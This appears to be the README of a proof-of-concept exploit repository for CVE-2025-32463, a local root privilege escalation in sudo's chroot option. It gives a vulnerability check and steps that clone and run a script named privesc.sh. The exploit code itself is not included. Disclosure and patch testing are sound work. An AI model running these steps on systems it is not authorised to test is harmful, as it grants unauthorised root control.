介绍
# CVE-2025-32463 POC (Proof-of-concept) exploit
CVE-2025-32463 (CVSS 7.8) is a local privilege escalation vulnerability, introduced in sudo 1.9.14 and present through 1.9.17. The issue allows a local user to run arbitrary commands as root by using sudo’s -R / –chroot option to cause sudo to load attacker-controlled NSS modules from inside a user-supplied chroot environment.
## Quick vulnerability check
```bash
# Vulnerable sudo:
user@debian: sudo -R shaolin shaolin
sudo: shaolin: No such file or directory
# Patched sudo:
user@debian: sudo -R shaolin shaolin
[sudo] password for user:
sudo: you are not permitted to use the -R option with shaolin
```
## Usage
```bash
user@debian: git clone https://github.com/cybershaolin47/CVE-2025-32463_POC
user@debian: cd CVE-2025-32463_POC
user@debian: chmod +x privesc.sh
user@debian: ./privesc.sh
